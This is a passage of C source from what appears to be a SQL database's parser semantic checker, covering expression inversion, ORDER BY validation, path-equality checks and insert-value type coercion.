for (a = assignment_list; a; a = a->next)
{
if (!(a->node_type == PT_EXPR && a->info.expr.op == PT_ASSIGN && (att_a = a->info.expr.arg1)))
{
goto exit_on_error;
}
if (att_a->node_type != PT_NAME)
{
if (PT_IS_N_COLUMN_UPDATE_EXPR (att_a))
{
att_a = att_a->info.expr.arg1;
}
else
{
goto exit_on_error;
}
}
for (; att_a; att_a = att_a->next)
{
/* first, check current node */
for (att_b = att_a->next; att_b; att_b = att_b->next)
{
if (att_b->node_type != PT_NAME || att_b->info.name.original == NULL)
{
goto exit_on_error;
}
/* for multi-table we must check name and spec id */
if (!pt_str_compare (att_a->info.name.original, att_b->info.name.original, CASE_INSENSITIVE)
&& att_a->info.name.spec_id == att_b->info.name.spec_id)
{
PT_ERRORmf2 (parser, att_a, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_GT_1_ASSIGNMENT_TO,
att_a->info.name.resolved, att_a->info.name.original);
return;
}
}
/* then, check the following node */
for (b = a->next; b; b = b->next)
{
if (!(b->node_type == PT_EXPR && b->info.expr.op == PT_ASSIGN && (att_b = b->info.expr.arg1)))
{
goto exit_on_error;
}
if (att_b->node_type != PT_NAME)
{
if (PT_IS_N_COLUMN_UPDATE_EXPR (att_b))
{
att_b = att_b->info.expr.arg1;
}
else
{
goto exit_on_error;
}
}
for (; att_b; att_b = att_b->next)
{
if (att_b->node_type != PT_NAME || att_b->info.name.original == NULL)
{
goto exit_on_error;
}
/* for multi-table we must check name and spec id */
if (!pt_str_compare (att_a->info.name.original, att_b->info.name.original, CASE_INSENSITIVE)
&& att_a->info.name.spec_id == att_b->info.name.spec_id)
{
PT_ERRORmf2 (parser, att_a, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_GT_1_ASSIGNMENT_TO,
att_a->info.name.resolved, att_a->info.name.original);
return;
}
}
}
}
}
return;
exit_on_error:
/* malformed assignment list */
PT_INTERNAL_ERROR (parser, "semantic");
return;
}
/*
* pt_invert () -
* return:
* parser(in):
* name_expr(in): an expression from a select list
* result(out): written in terms of the same single variable or path-expr
*
* Note :
* Given an expression p that involves only:
* + - / * ( ) constants and a single variable (which occurs only once).
*
* Find the functional inverse of the expression.
* [ f and g are functional inverses if f(g(x)) == x ]
*
* function inverse
* -------- --------
* -x -x
* 4*x x/4
* 4*x+10 (x-10)/4
* 6+x x-6
*
* Can't invert: x+y; x+x; x*x; constants ; count(*); f(x) ;
*/
PT_NODE *
pt_invert (PARSER_CONTEXT * parser, PT_NODE * name_expr, PT_NODE * result)
{
int result_isnull = 0;
PT_NODE *tmp;
PT_NODE *msgs;
SEMANTIC_CHK_INFO sc_info = { NULL, NULL, 0, 0, 0, false, false };
assert (parser != NULL);
msgs = parser->error_msgs;
/* find the variable and return if none */
if (pt_find_var (name_expr, &tmp) != 1 || tmp == NULL)
{
return NULL;
}
/* walk through the expression, inverting as you go */
while (name_expr)
{
/* Got a path expression, you're done. ( result = path expr ) */
if (name_expr->node_type == PT_NAME)
break;
/* not an expression? then can't do it */
if (name_expr->node_type != PT_EXPR)
{
result = 0;
break;
}
/* the inverse of any expression involving NULL is NULL */
result_isnull = result->type_enum == PT_TYPE_NULL;
switch (name_expr->info.expr.op)
{
case PT_UNARY_MINUS:
/* ( result = -expr ) <=> ( -result = expr ) */
name_expr = name_expr->info.expr.arg1;
if (!result_isnull)
{
tmp = parser_new_node (parser, PT_EXPR);
if (tmp == NULL)
{
PT_INTERNAL_ERROR (parser, "allocate new node");
return NULL;
}
tmp->info.expr.op = PT_UNARY_MINUS;
tmp->info.expr.arg1 = result;
if (tmp->info.expr.arg1->node_type == PT_EXPR)
{
tmp->info.expr.arg1->info.expr.paren_type = 1;
}
result = tmp;
}
break;
case PT_PLUS:
/* ( result = A + B ) <=> ( result - A = B ) */
if (pt_find_var (name_expr->info.expr.arg1, 0))
{
if (result_isnull)
{
/* no need to invert result because result already has a null */
name_expr = name_expr->info.expr.arg1;
}
else
{
tmp = parser_new_node (parser, PT_EXPR);
if (tmp == NULL)
{
PT_INTERNAL_ERROR (parser, "allocate new node");
return NULL;
}
tmp->info.expr.op = PT_MINUS;
tmp->info.expr.arg1 = result;
tmp->info.expr.arg2 = parser_copy_tree (parser, name_expr->info.expr.arg2);
if (tmp->info.expr.arg2 == NULL)
{
PT_INTERNAL_ERROR (parser, "parser_copy_tree");
return NULL;
}
if (tmp->info.expr.arg1->node_type == PT_EXPR)
{
tmp->info.expr.arg1->info.expr.paren_type = 1;
}
if (tmp->info.expr.arg2->node_type == PT_EXPR)
{
tmp->info.expr.arg2->info.expr.paren_type = 1;
}
name_expr = name_expr->info.expr.arg1;
result = tmp;
}
break;
}
if (pt_find_var (name_expr->info.expr.arg2, 0))
{
if (result_isnull)
{
/* no need to invert result because result already has a null */
name_expr = name_expr->info.expr.arg2;
}
else
{
tmp = parser_new_node (parser, PT_EXPR);
if (tmp == NULL)
{
PT_INTERNAL_ERROR (parser, "allocate new node");
return NULL;
}
tmp->info.expr.op = PT_MINUS;
tmp->info.expr.arg1 = result;
tmp->info.expr.arg2 = parser_copy_tree (parser, name_expr->info.expr.arg1);
if (tmp->info.expr.arg2 == NULL)
{
PT_INTERNAL_ERROR (parser, "parser_copy_tree");
return NULL;
}
if (tmp->info.expr.arg1->node_type == PT_EXPR)
{
tmp->info.expr.arg1->info.expr.paren_type = 1;
}
if (tmp->info.expr.arg2->node_type == PT_EXPR)
{
tmp->info.expr.arg2->info.expr.paren_type = 1;
}
name_expr = name_expr->info.expr.arg2;
result = tmp;
}
break;
}
return NULL;
case PT_MINUS:
/* ( result = A-B ) <=> ( result+B = A ) ( result = A-B ) <=> ( A-result = B ) */
if (pt_find_var (name_expr->info.expr.arg1, 0))
{
if (result_isnull)
{
/* no need to invert result because result already has a null */
name_expr = name_expr->info.expr.arg1;
}
else
{
tmp = parser_new_node (parser, PT_EXPR);
if (tmp == NULL)
{
PT_INTERNAL_ERROR (parser, "allocate new node");
return NULL;
}
tmp->info.expr.op = PT_PLUS;
tmp->info.expr.arg1 = result;
tmp->info.expr.arg2 = parser_copy_tree (parser, name_expr->info.expr.arg2);
if (tmp->info.expr.arg2 == NULL)
{
PT_INTERNAL_ERROR (parser, "parser_copy_tree");
return NULL;
}
if (tmp->info.expr.arg1->node_type == PT_EXPR)
{
tmp->info.expr.arg1->info.expr.paren_type = 1;
}
if (tmp->info.expr.arg2->node_type == PT_EXPR)
{
tmp->info.expr.arg2->info.expr.paren_type = 1;
}
name_expr = name_expr->info.expr.arg1;
result = tmp;
}
break;
}
if (pt_find_var (name_expr->info.expr.arg2, 0))
{
if (result_isnull)
{
/* no need to invert result because result already has a null */
name_expr = name_expr->info.expr.arg2;
}
else
{
tmp = parser_new_node (parser, PT_EXPR);
if (tmp == NULL)
{
PT_INTERNAL_ERROR (parser, "allocate new node");
return NULL;
}
tmp->info.expr.op = PT_MINUS;
tmp->info.expr.arg2 = result;
tmp->info.expr.arg1 = parser_copy_tree (parser, name_expr->info.expr.arg1);
if (tmp->info.expr.arg1 == NULL)
{
PT_INTERNAL_ERROR (parser, "parser_copy_tree");
return NULL;
}
if (tmp->info.expr.arg1->node_type == PT_EXPR)
{
tmp->info.expr.arg1->info.expr.paren_type = 1;
}
if (tmp->info.expr.arg2->node_type == PT_EXPR)
{
tmp->info.expr.arg2->info.expr.paren_type = 1;
}
name_expr = name_expr->info.expr.arg2;
result = tmp;
}
break;
}
return NULL;
case PT_DIVIDE:
/* ( result = A/B ) <=> ( result*B = A ) ( result = A/B ) <=> ( A/result = B ) */
if (pt_find_var (name_expr->info.expr.arg1, 0))
{
if (result_isnull)
{
/* no need to invert result because result already has a null */
name_expr = name_expr->info.expr.arg1;
}
else
{
tmp = parser_new_node (parser, PT_EXPR);
if (tmp == NULL)
{
PT_INTERNAL_ERROR (parser, "allocate new node");
return NULL;
}
tmp->info.expr.op = PT_TIMES;
tmp->info.expr.arg1 = result;
tmp->info.expr.arg2 = parser_copy_tree (parser, name_expr->info.expr.arg2);
if (tmp->info.expr.arg2 == NULL)
{
PT_INTERNAL_ERROR (parser, "parser_copy_tree");
return NULL;
}
if (tmp->info.expr.arg1->node_type == PT_EXPR)
{
tmp->info.expr.arg1->info.expr.paren_type = 1;
}
if (tmp->info.expr.arg2->node_type == PT_EXPR)
{
tmp->info.expr.arg2->info.expr.paren_type = 1;
}
name_expr = name_expr->info.expr.arg1;
result = tmp;
}
break;
}
if (pt_find_var (name_expr->info.expr.arg2, 0))
{
if (result_isnull)
{
/* no need to invert result because result already has a null */
name_expr = name_expr->info.expr.arg2;
}
else
{
tmp = parser_new_node (parser, PT_EXPR);
if (tmp == NULL)
{
PT_INTERNAL_ERROR (parser, "allocate new node");
return NULL;
}
tmp->info.expr.op = PT_DIVIDE;
tmp->info.expr.arg2 = result;
tmp->info.expr.arg1 = parser_copy_tree (parser, name_expr->info.expr.arg1);
if (tmp->info.expr.arg1 == NULL)
{
PT_INTERNAL_ERROR (parser, "parser_copy_tree");
return NULL;
}
if (tmp->info.expr.arg1->node_type == PT_EXPR)
{
tmp->info.expr.arg1->info.expr.paren_type = 1;
}
if (tmp->info.expr.arg2->node_type == PT_EXPR)
{
tmp->info.expr.arg2->info.expr.paren_type = 1;
}
name_expr = name_expr->info.expr.arg2;
result = tmp;
}
break;
}
return NULL;
case PT_TIMES:
/* ( result = A*B ) <=> ( result/A = B ) */
if (pt_find_var (name_expr->info.expr.arg1, 0))
{
if (result_isnull)
{
/* no need to invert result because result already has a null */
name_expr = name_expr->info.expr.arg1;
}
else
{
tmp = parser_new_node (parser, PT_EXPR);
if (tmp == NULL)
{
PT_INTERNAL_ERROR (parser, "allocate new node");
return NULL;
}
tmp->info.expr.op = PT_DIVIDE;
tmp->info.expr.arg1 = result;
tmp->info.expr.arg2 = parser_copy_tree (parser, name_expr->info.expr.arg2);
if (tmp->info.expr.arg2 == NULL)
{
PT_INTERNAL_ERROR (parser, "parser_copy_tree");
return NULL;
}
if (tmp->info.expr.arg1->node_type == PT_EXPR)
{
tmp->info.expr.arg1->info.expr.paren_type = 1;
}
if (tmp->info.expr.arg2->node_type == PT_EXPR)
{
tmp->info.expr.arg2->info.expr.paren_type = 1;
}
name_expr = name_expr->info.expr.arg1;
result = tmp;
}
break;
}
if (pt_find_var (name_expr->info.expr.arg2, 0))
{
if (result_isnull)
{
/* no need to invert result because result already has a null */
name_expr = name_expr->info.expr.arg2;
}
else
{
tmp = parser_new_node (parser, PT_EXPR);
if (tmp == NULL)
{
PT_INTERNAL_ERROR (parser, "allocate new node");
return NULL;
}
tmp->info.expr.op = PT_DIVIDE;
tmp->info.expr.arg1 = result;
tmp->info.expr.arg2 = parser_copy_tree (parser, name_expr->info.expr.arg1);
if (tmp->info.expr.arg2 == NULL)
{
PT_INTERNAL_ERROR (parser, "parser_copy_tree");
return NULL;
}
if (tmp->info.expr.arg1->node_type == PT_EXPR)
{
tmp->info.expr.arg1->info.expr.paren_type = 1;
}
if (tmp->info.expr.arg2->node_type == PT_EXPR)
{
tmp->info.expr.arg2->info.expr.paren_type = 1;
}
name_expr = name_expr->info.expr.arg2;
result = tmp;
}
break;
}
return NULL;
case PT_CAST:
/* special case */
name_expr = name_expr->info.expr.arg1;
break;
default:
return NULL;
}
}
/* set type of expression */
if (!result_isnull)
{
sc_info.top_node = name_expr;
sc_info.donot_fold = false;
result = pt_semantic_type (parser, result, &sc_info);
}
if (result)
{
/* return name and resulting expression */
result->next = parser_copy_tree (parser, name_expr);
}
if (pt_has_error (parser))
{
/* if we got an error just indicate not-invertible, end return with previous error state. */
parser->error_msgs = msgs;
return NULL;
}
return result;
}
/*
* pt_find_var () - Explores an expression looking for a path expr.
* Count these and return the count
* return: number of path (PT_NAME node) expressions in the tree
* p(in): an parse tree representing the syntactic
* result(out): for returning a result expression pointer
*/
int
pt_find_var (PT_NODE * p, PT_NODE ** result)
{
if (!p)
return 0;
/* got a name expression */
if (p->node_type == PT_NAME || (p->node_type == PT_DOT_))
{
if (result)
*result = p;
return 1;
}
/* if an expr (binary op) count both paths */
if (p->node_type == PT_EXPR)
{
return (pt_find_var (p->info.expr.arg1, result) + pt_find_var (p->info.expr.arg2, result));
}
return 0;
}
/*
* pt_remove_from_list () -
* return: PT_NODE* to the list without "node" in it
* parser(in):
* node(in/out):
* list(in/out):
*/
PT_NODE *
pt_remove_from_list (PARSER_CONTEXT * parser, PT_NODE * node, PT_NODE * list)
{
PT_NODE *temp;
if (!list)
return list;
if (node == list)
{
temp = node->next;
node->next = NULL;
parser_free_tree (parser, node);
return temp;
}
temp = list;
while (temp && temp->next != node)
{
temp = temp->next;
}
if (temp)
{
temp->next = node->next;
node->next = NULL;
parser_free_tree (parser, node);
}
return list;
}
/*
* pt_find_order_value_in_list () - checking an ORDER_BY list for a node with
* the same value as sort_spec
* return: PT_NODE* the found match or NULL
* parser(in):
* sort_value(in):
* order_list(in):
*/
PT_NODE *
pt_find_order_value_in_list (PARSER_CONTEXT * parser, const PT_NODE * sort_value, const PT_NODE * order_list)
{
PT_NODE *match = NULL;
match = (PT_NODE *) order_list;
while (match && sort_value && match->info.sort_spec.expr)
{
if (sort_value->node_type == PT_VALUE && match->info.sort_spec.expr->node_type == PT_VALUE
&& (match->info.sort_spec.expr->info.value.data_value.i == sort_value->info.value.data_value.i))
{
break;
}
else if (sort_value->node_type == PT_NAME && match->info.sort_spec.expr->node_type == PT_NAME
&& (pt_check_path_eq (parser, sort_value, match->info.sort_spec.expr) == 0))
{
/* when create/alter view, columns which are not in select list will not be replaced as value type. */
break;
}
else
{
match = match->next;
}
}
return match;
}
/*
* pt_check_order_by () - checking an ORDER_BY clause
* return:
* parser(in):
* query(in): query node has ORDER BY
*
* Note :
* If it is an INTEGER, make sure it does not exceed the number of items
* in the select list.
* If it is a path expression, match it with an item in the select list and
* replace it with the corresponding INTEGER.
* IF not match, add hidden_column to select_list.
* For the order-by clause of a UNION/INTERSECTION type query,
* simply check that the items are ALL INTEGERS and it does not
* exceed the number of items in the select list..
*/
int
pt_check_order_by (PARSER_CONTEXT * parser, PT_NODE * query)
{
PT_NODE *select_list, *order_by, *col, *r, *temp, *order, *match;
int n, i, select_list_len, select_list_full_len;
bool ordbynum_flag;
char *r_str = NULL;
int error;
bool skip_orderby_num = false;
/* initinalize local variables */
error = NO_ERROR;
select_list = order_by = NULL;
/* get select_list */
switch (query->node_type)
{
case PT_SELECT:
select_list = query->info.query.q.select.list;
break;
case PT_UNION:
case PT_INTERSECTION:
case PT_DIFFERENCE:
{
PT_NODE *arg1, *arg2;
/* traverse through nested union */
temp = query;
while (1)
{
arg1 = temp->info.query.q.union_.arg1;
arg2 = temp->info.query.q.union_.arg2;
if (PT_IS_QUERY (arg1))
{
if (arg1->node_type == PT_SELECT)
{ /* found, exit loop */
select_list = arg1->info.query.q.select.list;
break;
}
else
{
temp = arg1; /* continue */
}
}
else
{
/* should not get here, that is an error! */
error = MSGCAT_SEMANTIC_UNION_INCOMPATIBLE;
PT_ERRORmf2 (parser, arg1, MSGCAT_SET_PARSER_SEMANTIC, error, pt_short_print (parser, arg1),
pt_short_print (parser, arg2));
break;
}
}
}
break;
default:
break;
}
/* not query statement or error occurs */
if (select_list == NULL)
{
return error;
}
if (query->node_type == PT_SELECT && pt_is_single_tuple (parser, query))
{
/*
* This case means "select count(*) from athlete order by code"
* we will remove order by clause to avoid error message
* but, "select count(*) from athlete order by 2" should make out of range err
*/
if (query->info.query.order_by != NULL)
{
PT_NODE head;
PT_NODE *last = &head;
PT_NODE *order_by = query->info.query.order_by;
last->next = NULL;
while (order_by != NULL)
{
PT_NODE *next = order_by->next;
order_by->next = NULL;
if (order_by->info.sort_spec.expr->node_type == PT_NAME
|| order_by->info.sort_spec.expr->node_type == PT_EXPR)
{
parser_free_node (parser, order_by);
skip_orderby_num = true;
}
else
{
// leave PT_VALUE, PT_HOST_VAR, in fact, PT_HOST_VAR will be rejected soon.
last->next = order_by;
last = order_by;
}
order_by = next;
}
query->info.query.order_by = head.next;
}
/*
* This case means "select count(*) from athlete limit ?"
* This limit clause should be evaluated after "select count(*) from athlete"
* So we will change it as subquery.
*/
if (query->info.query.limit != NULL)
{
SEMANTIC_CHK_INFO sc_info = { NULL, NULL, 0, 0, 0, false, false };
PT_NODE *limit = query->info.query.limit;
query->info.query.limit = NULL;
/* rewrite as derived table */
query = mq_rewrite_aggregate_as_derived (parser, query);
if (query == NULL || pt_has_error (parser))
{
return ER_FAILED;
}
/* clear spec_ids of names referring derived table and re-run name resolving; their types are not resolved
* and, since we're on the post stage of the tree walk, this will not happen naturally; */
query->info.query.q.select.list =
mq_clear_ids (parser, query->info.query.q.select.list, query->info.query.q.select.from);
/* re-resolve names */
sc_info.donot_fold = true;
sc_info.top_node = query;
query = pt_resolve_names (parser, query, &sc_info);
if (pt_has_error (parser) || !query)
{
return ER_FAILED;
}
query->info.query.limit = limit;
}
}
/* get ORDER BY clause */
order_by = query->info.query.order_by;
if (order_by == NULL)
{
if (query->node_type == PT_SELECT)
{
/* need to check select_list */
goto check_select_list;
}
/* union has not ORDER BY */
return error;
}
/* save original length of select_list */
select_list_len = 0;
select_list_full_len = pt_length_of_select_list (select_list, INCLUDE_HIDDEN_COLUMNS);
#if !defined (NDEBUG)
select_list_len = pt_length_of_select_list (select_list, EXCLUDE_HIDDEN_COLUMNS);
#endif /* !NDEBUG */
for (order = order_by; order; order = order->next)
{
/* get the EXPR */
r = order->info.sort_spec.expr;
if (r == NULL)
{ /* impossible case */
continue;
}
/* if a good integer, done */
if (r->node_type == PT_VALUE)
{
if (r->type_enum == PT_TYPE_INTEGER)
{
n = r->info.value.data_value.i;
/* check size of the integer */
if (select_list_full_len < n || n < 1)
{
error = MSGCAT_SEMANTIC_SORT_SPEC_RANGE_ERR;
PT_ERRORmf (parser, r, MSGCAT_SET_PARSER_SEMANTIC, error, n);
/* go ahead */
}
else
{
/* the following invalid query cause error in here SELECT orderby_num() FROM t ORDER BY 1; */
for (col = select_list, i = 1; i < n; i++)
{
col = col->next;
}
/* sorting node should be either an existing select node or an hidden column added by system */
assert (n <= select_list_len || col->flag.is_hidden_column);
if (col->node_type == PT_EXPR && col->info.expr.op == PT_ORDERBY_NUM)
{
error = MSGCAT_SEMANTIC_SORT_SPEC_NAN_PATH;
PT_ERRORmf (parser, col, MSGCAT_SET_PARSER_SEMANTIC, error, "ORDERBY_NUM()");
/* go ahead */
}
}
}
else
{
error = MSGCAT_SEMANTIC_SORT_SPEC_WANT_NUM;
PT_ERRORm (parser, r, MSGCAT_SET_PARSER_SEMANTIC, error);
/* go ahead */
}
}
else if (r->node_type == PT_HOST_VAR)
{
PT_ERRORmf (parser, r, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NO_ORDERBY_ALLOWED,
pt_short_print (parser, r));
error = MSGCAT_SEMANTIC_NO_ORDERBY_ALLOWED;
}
else
{
/* not an integer value. Try to match with something in the select list. */
n = 1; /* a counter for position in select_list */
if (r->node_type != PT_NAME && r->node_type != PT_DOT_)
{
r_str = parser_print_tree (parser, r);
}
for (col = select_list; col; col = col->next)
{
/* if match, break; */
if (r->node_type == col->node_type)
{
if (r->node_type == PT_NAME || r->node_type == PT_DOT_)
{
if (pt_check_path_eq (parser, r, col) == 0)
{
break; /* match */
}
}
else
{
if (pt_str_compare (r_str, parser_print_tree (parser, col), CASE_INSENSITIVE) == 0)
{
break; /* match */
}
}
}
else if (pt_check_compatible_node_for_orderby (parser, r, col))
{
break;
}
n++;
}
/* if end of list, no match create a hidden column node and append to select_list */
if (col == NULL)
{
if (query->node_type != PT_SELECT)
{
error = MSGCAT_SEMANTIC_ORDERBY_IS_NOT_INT;
PT_ERRORm (parser, r, MSGCAT_SET_PARSER_SEMANTIC, error);
}
else if (query->info.query.all_distinct == PT_DISTINCT)
{
error = MSGCAT_SEMANTIC_INVALID_ORDERBY_WITH_DISTINCT;
PT_ERRORm (parser, r, MSGCAT_SET_PARSER_SEMANTIC, error);
}
else
{
/* when check order by clause in create/alter view, do not change order_by and select_list. The order
* by clause will be replaced in mq_translate_subqueries() again. */
if (query->flag.do_not_replace_orderby)
{
continue;
}
col = parser_copy_tree (parser, r);
if (col == NULL)
{
error = MSGCAT_SEMANTIC_OUT_OF_MEMORY;
PT_ERRORm (parser, r, MSGCAT_SET_PARSER_SEMANTIC, error);
return error; /* give up */
}
else
{
/* mark as a hidden column */
col->flag.is_hidden_column = 1;
parser_append_node (col, select_list);
}
}
}
/* we got a match=n, Create a value node and replace expr with it */
temp = parser_new_node (parser, PT_VALUE);
if (temp == NULL)
{
error = MSGCAT_SEMANTIC_OUT_OF_MEMORY;
PT_ERRORm (parser, r, MSGCAT_SET_PARSER_SEMANTIC, error);
}
else
{
temp->type_enum = PT_TYPE_INTEGER;
temp->info.value.data_value.i = n;
pt_value_to_db (parser, temp);
parser_free_tree (parser, r);
order->info.sort_spec.expr = temp;
}
}
if (error != NO_ERROR)
{ /* something wrong */
continue; /* go ahead */
}
/* set order by position num */
order->info.sort_spec.pos_descr.pos_no = n;
if (query->node_type != PT_SELECT)
{
continue; /* OK */
}
/* at here, query->node_type == PT_SELECT set order_by domain info */
if (col->type_enum != PT_TYPE_NONE && col->type_enum != PT_TYPE_MAYBE)
{ /* is resolved */
order->info.sort_spec.pos_descr.dom = pt_xasl_node_to_domain (parser, col);
}
} /* for (order = order_by; ...) */
/* now check for duplicate entries. - If they match on ascending/descending, remove the second. - If they do not,
* generate an error. */
for (order = order_by; order; order = order->next)
{
while ((match = pt_find_order_value_in_list (parser, order->info.sort_spec.expr, order->next)))
{
if ((order->info.sort_spec.asc_or_desc != match->info.sort_spec.asc_or_desc)
|| (pt_to_null_ordering (order) != pt_to_null_ordering (match)))
{
error = MSGCAT_SEMANTIC_SORT_DIR_CONFLICT;
PT_ERRORmf (parser, match, MSGCAT_SET_PARSER_SEMANTIC, error, pt_short_print (parser, match));
break;
}
else
{
order->next = pt_remove_from_list (parser, match, order->next);
}
}
}
if (error != NO_ERROR)
{ /* give up */
return error;
}
check_select_list:
/* orderby_num() in select list restriction check */
for (col = select_list; col; col = col->next)
{
if (PT_IS_QUERY_NODE_TYPE (col->node_type))
{
/* skip orderby_num() expression in subqueries */
continue;
}
if (col->node_type == PT_EXPR && col->info.expr.op == PT_ORDERBY_NUM)
{
if (!order_by && !skip_orderby_num)
{
/* the following invalid query cause error in here; SELECT orderby_num() FROM t; */
error = MSGCAT_SEMANTIC_SORT_SPEC_NOT_EXIST;
PT_ERRORmf (parser, col, MSGCAT_SET_PARSER_SEMANTIC, error, "ORDERBY_NUM()");
break;
}
}
else
{
/* the following query cause error in here; SELECT orderby_num()+1 FROM t; SELECT orderby_num()+1, a FROM t
* ORDER BY 2; SELECT {orderby_num()} FROM t; SELECT {orderby_num()+1}, a FROM t ORDER BY 2; */
ordbynum_flag = false;
(void) parser_walk_leaves (parser, col, pt_check_orderbynum_pre, NULL, pt_check_orderbynum_post,
&ordbynum_flag);
if (ordbynum_flag)
{
error = MSGCAT_SEMANTIC_ORDERBYNUM_SELECT_LIST_ERR;
PT_ERRORm (parser, col, MSGCAT_SET_PARSER_SEMANTIC, error);
break;
}
}
}
return error;
}
/*
* pt_check_path_eq () - determine if two path expressions are the same
* return: 0 if two path expressions are the same, else non-zero.
* parser(in):
* p(in):
* q(in):
*/
int
pt_check_path_eq (PARSER_CONTEXT * parser, const PT_NODE * p, const PT_NODE * q)
{
PT_NODE_TYPE n;
if (p == NULL && q == NULL)
{
return 0;
}
if (p == NULL || q == NULL)
{
return 1;
}
/* check node types are same */
if (p->node_type != q->node_type)
{
return 1;
}
n = p->node_type;
switch (n)
{
/*
* if a name, the original and resolved fields must match
*
* In order to distinguish User Schema, the original, resolved name may contain a user name
* with a dot(.) as a separator. It is not necessary to attach a user name to its own table,
* but the user name currently connected internally is attached. So, when comparing original and resolved names,
* we need to compare names after dot(.).
*
*/
case PT_NAME:
if (pt_user_specified_name_compare (p->info.name.original, q->info.name.original))
{
return 1;
}
if (pt_user_specified_name_compare (p->info.name.resolved, q->info.name.resolved))
{
return 1;
}
if (p->info.name.spec_id != q->info.name.spec_id)
{
return 1;
}
break;
/* EXPR must be X.Y.Z. */
case PT_DOT_:
if (pt_check_path_eq (parser, p->info.dot.arg1, q->info.dot.arg1))
{
return 1;
}
/* A recursive call on arg2 should work, except that we have not yet recognised common sub-path expressions
* However, it is also sufficient and true that the left path be strictly equal and arg2's names match. That even
* allows us to use this very function to implement recognition of common path expressions. */
if (p->info.dot.arg2 == NULL || q->info.dot.arg2 == NULL)
{
return 1;
}
if (p->info.dot.arg2->node_type != PT_NAME || q->info.dot.arg2->node_type != PT_NAME)
{
return 1;
}
if (pt_str_compare (p->info.dot.arg2->info.name.original, q->info.dot.arg2->info.name.original, CASE_INSENSITIVE))
{
return 1;
}
break;
default:
PT_ERRORmf (parser, p, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_SORT_SPEC_NAN_PATH,
pt_short_print (parser, p));
return 1;
}
return 0;
}
/*
* pt_check_class_eq () - determine if two class name expressions are the same
* return: 0 if two class name expressions are the same, else non-zero
* parser(in):
* p(in):
* q(in):
*/
int
pt_check_class_eq (PARSER_CONTEXT * parser, PT_NODE * p, PT_NODE * q)
{
PT_NODE_TYPE n;
if (p == NULL && q == NULL)
{
return 0;
}
if (p == NULL || q == NULL)
{
return 1;
}
/* check if node types are same */
if (p->node_type != q->node_type)
{
return 1;
}
n = p->node_type;
switch (n)
{
/* if a name, the resolved (class name) fields must match */
case PT_NAME:
if (pt_str_compare (p->info.name.resolved, q->info.name.resolved, CASE_INSENSITIVE))
{
return 1;
}
if (p->info.name.spec_id != q->info.name.spec_id)
{
return 1;
}
break;
default:
PT_ERRORmf (parser, p, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_SORT_SPEC_NAN_PATH,
pt_short_print (parser, p));
return 1;
}
return 0;
}
/*
* pt_coerce_insert_values () - try to coerce the insert values to the types
* indicated by the insert attributes
* return:
* parser(in): handle to context used to parse the insert/merge statement
* stmt(in): the AST form of an insert/merge statement
*/
static PT_NODE *
pt_coerce_insert_values (PARSER_CONTEXT * parser, PT_NODE * stmt)
{
PT_NODE *v = NULL, *a = NULL, *crt_list = NULL;
int a_cnt = 0, v_cnt = 0;
PT_NODE *prev = NULL;
PT_NODE *attr_list = NULL;
PT_NODE *value_clauses = NULL;
/* preconditions are not met */
if (stmt->node_type != PT_INSERT && stmt->node_type != PT_MERGE)
{
return NULL;
}
if (stmt->node_type == PT_INSERT)
{
if (stmt->info.insert.spec && stmt->info.insert.spec->info.spec.remote_server_name)
{
assert (stmt->info.insert.spec->info.spec.remote_server_name->node_type == PT_DBLINK_TABLE_DML);
return stmt;
}
}
else if (stmt->node_type == PT_MERGE)
{
if (stmt->info.merge.into && stmt->info.merge.into->info.spec.remote_server_name)
{
assert (stmt->info.merge.into->info.spec.remote_server_name->node_type == PT_DBLINK_TABLE_DML);
return stmt;
}
}
if (stmt->node_type == PT_INSERT)
{
attr_list = stmt->info.insert.attr_list;
value_clauses = stmt->info.insert.value_clauses;
}
else
{
attr_list = stmt->info.merge.insert.attr_list;
value_clauses = stmt->info.merge.insert.value_clauses;
}
a_cnt = pt_length_of_list (attr_list);
for (crt_list = value_clauses; crt_list != NULL; crt_list = crt_list->next)
{
if (crt_list->info.node_list.list_type == PT_IS_DEFAULT_VALUE)
{
v = NULL;
}
else if (crt_list->info.node_list.list_type == PT_IS_SUBQUERY)
{
/* this sort of nods at union queries */
v = pt_get_select_list (parser, crt_list->info.node_list.list);
v_cnt = pt_length_of_select_list (v, EXCLUDE_HIDDEN_COLUMNS);
if (a_cnt != v_cnt)
{
PT_ERRORmf2 (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_ATT_CNT_COL_CNT_NE, a_cnt, v_cnt);
}
else
{
continue;
}
}
else
{
v = crt_list->info.node_list.list;
v_cnt = pt_length_of_list (v);
if (a_cnt != v_cnt)
{
PT_ERRORmf2 (parser, stmt, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_ATT_CNT_VAL_CNT_NE, a_cnt, v_cnt);
}
}
prev = NULL;
for (a = attr_list; v != NULL && a != NULL; prev = v, v = v->next, a = a->next)
{
/* test assignment compatibility. This sets parser->error_msgs */
PT_NODE *new_node;
new_node = pt_assignment_compatible (parser, a, v);
if (new_node == NULL)
{
/* this in an error and the message was set by the call to pt_assignment_compatible. Just continue */
continue;
}
if (new_node != v)
{
v = new_node;
if (prev == NULL)
{
/* first node in the list */
crt_list->info.node_list.list = v;
}
else
{
/* relink list to the wrapped node */
prev->next = v;
}
}
if (v->node_type == PT_HOST_VAR && v->type_enum == PT_TYPE_MAYBE && v->expected_domain == NULL
&& (PT_IS_NUMERIC_TYPE (a->type_enum) || PT_IS_STRING_TYPE (a->type_enum)))
{
TP_DOMAIN *d;
d = pt_node_to_db_domain (parser, a, NULL);
d = tp_domain_cache (d);
v->expected_domain = d;
}
}
}
return stmt;
}
/*
* pt_check_sub_insert () - Checks if sub-inserts are semantically correct
*
* return : Unchanged node argument.
* parser (in) : Parser context.
* node (in) : Parse tree node.
* void_arg (in) : Unused argument.
* continue_walk (in) : Continue walk.
*/
static PT_NODE *
pt_check_sub_insert (PARSER_CONTEXT * parser, PT_NODE * node, void *void_arg, int *continue_walk)
{
PT_NODE *entity_name = NULL, *value_clauses = NULL;
if (*continue_walk == PT_STOP_WALK)
{
return node;
}
switch (node->node_type)
{
case PT_INSERT:
/* continue to checks */
*continue_walk = PT_LIST_WALK;
break;
case PT_SELECT:
case PT_INTERSECTION:
